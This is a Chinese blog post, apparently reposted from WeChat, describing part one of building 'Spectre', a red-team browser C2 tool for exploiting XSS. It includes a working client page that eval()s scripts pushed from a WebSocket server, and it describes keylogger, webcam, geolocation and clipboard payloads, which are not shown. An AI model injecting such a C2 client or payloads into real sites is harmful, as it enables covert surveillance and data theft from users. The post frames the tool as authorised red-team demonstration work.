2024年11月29日10:42:39评论6 views字数 4228阅读14分5秒阅读模式

介绍

每个红队成员都有他们最喜欢的工具集，但有时当它们都没有完全满足你的需求时，你会碰壁。这就是我在处理基于浏览器的攻击时发现自己遇到的情况，尤其是围绕 XSS 利用的攻击。有很好的工具可以查找 XSS 漏洞，但我想要一些可以快速、动态和交互式地显示影响的工具。

这促使我创建了 Specter，这是一个旨在实时利用 XSS 漏洞的红队工具。Spectre 使用 WebSocket C2 服务器将有效负载直接发送到连接的浏览器，并带有预构建的攻击脚本菜单，这些脚本也可以动态自定义。

这个博客是我旅程的第 1 部分。我将向您介绍该项目背后的灵感、架构以及我在构建项目时面临的一些挑战。如果你是一个喜欢摆弄漏洞利用工具的人，或者只是对红队工具是如何组合在一起感到好奇的，我希望这篇博客能引起你的共鸣。

为什么要构建 Spectre？

这一切都始于我试图在红队参与期间演示 XSS 漏洞的影响。虽然有一些工具可以自动发现 XSS，但不太关注实时利用这些漏洞。我想要一个可以：

按需执行自定义 JavaScript 负载。
提供预构建的漏洞利用脚本菜单以进行快速演示。

如何运作

Spectre 基本上分为两部分：

服务器：基于 Python 的 WebSocket 服务器，充当控制中心，允许您选择有效负载并将其发送到连接的客户端。
客户端：注入浏览器的一个小 JavaScript 代码段，用于执行服务器发送的有效负载。

主要特点

预定义负载的菜单，例如键盘记录器、地理位置检索和网络摄像头访问。
对需要用户输入的脚本（如 URL 或自定义消息）进行动态自定义。

设置环境

先决条件：

Python 3.7+ 版
ngrok用于公开 WebSocket 服务器
JavaScript 和 WebSocket 的基本知识

第 1 步：克隆项目

您可以先克隆 Specter 存储库或使用提供的 and 文件创建 Python 项目。[很快就会分享 repo，代码还在开发中，报错少：（ ]server.pypayloads.py

第 2 步：安装依赖项

确保您已安装。如果没有，请使用 pip 安装它：websockets

pip install websockets

以下是 Spectre 项目结构的简要概述：

Specter/
│
├── server.py          # The main WebSocket server script to manage client connections and execute payloads.
├── payloads.py        # Contains predefined JavaScript payloads for various browser-based simulations.
├── client.html        # A sample HTML page to load the WebSocket client for testing.
├── requirements.txt   # Dependencies required for the project (e.g., `websockets`).
├──README.md          # Documentation explaining how to set up and use Specter.

关键组件：

server.py:

托管 WebSocket 服务器。

允许在连接的客户端上动态选择和执行负载。

处理来自客户端的结果，如 Base64 图像或剪贴板数据。

2. ：payloads.py

将模块化 JavaScript 有效负载存储为字典。

有效载荷包括键盘记录器、地理位置、网络摄像头捕获等。

3. :client.html

包含一个 WebSocket 客户端，用于侦听命令并在浏览器中执行有效负载。

4. ：requirements.txt

通过列出依赖项来帮助设置 Python 环境。

5. ：Readme

它;仅用于文档目的。

Client.html

该文件用作 Spectre 的测试客户端。它模拟恶意脚本嵌入到易受攻击的 Web 应用程序中的场景。以下是其组件的简要说明：client.html

目的

测试环境：此文件用于测试 Spectre 的 WebSocket 服务器功能。

模拟漏洞利用：它运行 WebSocket 服务器动态发送的 JavaScript 有效负载。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Browser C2 Client</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 20px; }
        h2 { color: #2d87f0; }
        #status { color: green; }
        #output { white-space: pre-wrap; background: #f4f4f4; padding: 10px; border: 1px solid #ddd; margin-top: 10px; }
    </style>
</head>
<body>
    <h2>Browser C2 Client Connected</h2>
    <p id="status">Status: Connecting...</p>
    <p id="output">Output:</p>

    <script>
        let ws;

function connectWebSocket() {
    ws = new WebSocket("ws://localhost:8765");

    ws.onopen = () => {
        console.log("WebSocket connected to the server.");
    };

    ws.onmessage = async (event) => {
        try {
            const script = event.data;
            console.log("Executing script received from server:");
            console.log(script);

                eval(script); // Execute the payload dynamically            

        } catch (error) {
            console.error("Error executing script:", error);
            ws.send(`Error: ${error.message}`);
        }
    };

    ws.onclose = (event) => {
        console.log(`WebSocket connection closed: ${event.reason}. Reconnecting...`);
        setTimeout(connectWebSocket, 1000); // Attempt reconnection
    };

    ws.onerror = (error) => {
        console.error("WebSocket error:", error);
        ws.close(); // Close the socket on error
    };
}
connectWebSocket();
    </script>
</body>
</html>

Server.py

这是我们的服务器，将作为 C2 服务器运行，我们可以在其中从终端发送有效负载，并将在客户端浏览器上执行

WebSocket 协议用于服务器（由您控制）和客户端（在浏览器上运行）之间的实时全双工通信。以下是有关如何建立连接以及如何将有效负载发送到客户端的分步说明：

1. 客户端连接到服务器

WebSocket 连接：

客户端（浏览器）通过建立 WebSocket 连接连接到 WebSocket 服务器（）。这由客户端 HTML 代码中的函数处理。ws://localhost:8765connectWebSocket()

连接是使用中的行从客户端启动的。new WebSocket("ws://localhost:8765")client.html

2. 在服务器中处理客户端连接

服务器接受连接：

服务器通过该函数监听 port 上的传入 WebSocket 连接。8765websockets.serve(handle_client, "localhost", 8765)

客户端连接后，将调用该函数。handle_client()

该对象表示与客户端的活动连接，用于存储活动的 WebSocket 连接以供进一步通信。websocketcurrent_websocket

3. 向客户端发送有效负载

在服务器上选择 Payload：

建立连接后，服务器允许用户（通常是红队操作员或攻击者）选择要发送到客户端的有效负载。

系统提示操作员通过输入选择编号来选择有效负载，该编号对应于字典中的选项。payloads

负载：

有效负载是存储在字典中的预定义脚本。每个有效负载都有一个唯一的密钥和一个描述。payloads

例如，键对应于键盘记录器，键对应于语音转文本功能。310

payload = payloads[selection]['script']

如果 Operator 选择的有效负载具有动态组件（如用于自定义有效负载的用户输入），则服务器会提示 Operator 输入必要的值，并在将其发送到 Client 端之前将其替换为有效负载。

发送有效负载：

选择负载后，服务器使用命令将其发送到客户端。这会将脚本（JavaScript 代码）发送到客户端执行。await websocket.send(payload)

4. 在客户端上执行 Payload

客户端上的有效负载执行：

收到有效负载后，客户端（）使用 WebSocket 事件处理程序内的函数动态执行它。client.htmleval()onmessage

该脚本在浏览器上下文中执行，这意味着它可以与页面交互、访问浏览器 API 等。

eval(script);  // Execute the payload dynamically

有效载荷示例：

键盘记录器有效载荷：发送有效负载时（对应于 selection ），脚本将从浏览器捕获击键并将其发送回服务器。keylogger3

语音转文本有效载荷：选择有效负载后，浏览器将启动语音识别并将转录的文本发送回服务器。speech-to-text

结论

在第一部分中，我们设置了 Spectre 并演示了它如何通过 WebSocket 连接到客户端以发送动态负载，如键盘记录器和语音转文本。在下一部分中，我们将深入探讨更多有效载荷和高级功能，增强 Spectre 以进行更深入的红队模拟。敬请期待！

原文始发于微信公众号（安全狗的自我修养）：构建 Spectre：用于 XSS 漏洞利用的红队工具（第 1 部分）

左青龙
微信扫一扫

右白虎
微信扫一扫

构建 Spectre：用于 XSS 漏洞利用的红队工具（第 1 部分）

介绍

为什么要构建 Spectre？

如何运作

主要特点

设置环境

先决条件：

第 1 步：克隆项目

第 2 步：安装依赖项

关键组件：

Client.html

目的

Server.py

1. 客户端连接到服务器

2. 在服务器中处理客户端连接

3. 向客户端发送有效负载

4. 在客户端上执行 Payload

结论

奇淫巧计 extract函数变量覆盖

渗透测试靶机练习No.147 HTB:Beep(OSCP Prep)

红队攻防 | 内网域渗透重要漏洞汇总

奇淫巧计空白字符绕过

baijiacms漏洞验证

奇淫巧计 ereg正则%00截断

奇淫巧计数组绕过strcmp函数

奇淫巧计 sha1()函数比较绕过

奇淫巧计无值绕过Session

swagger接口漏洞测试

发表评论

在线咨询

微信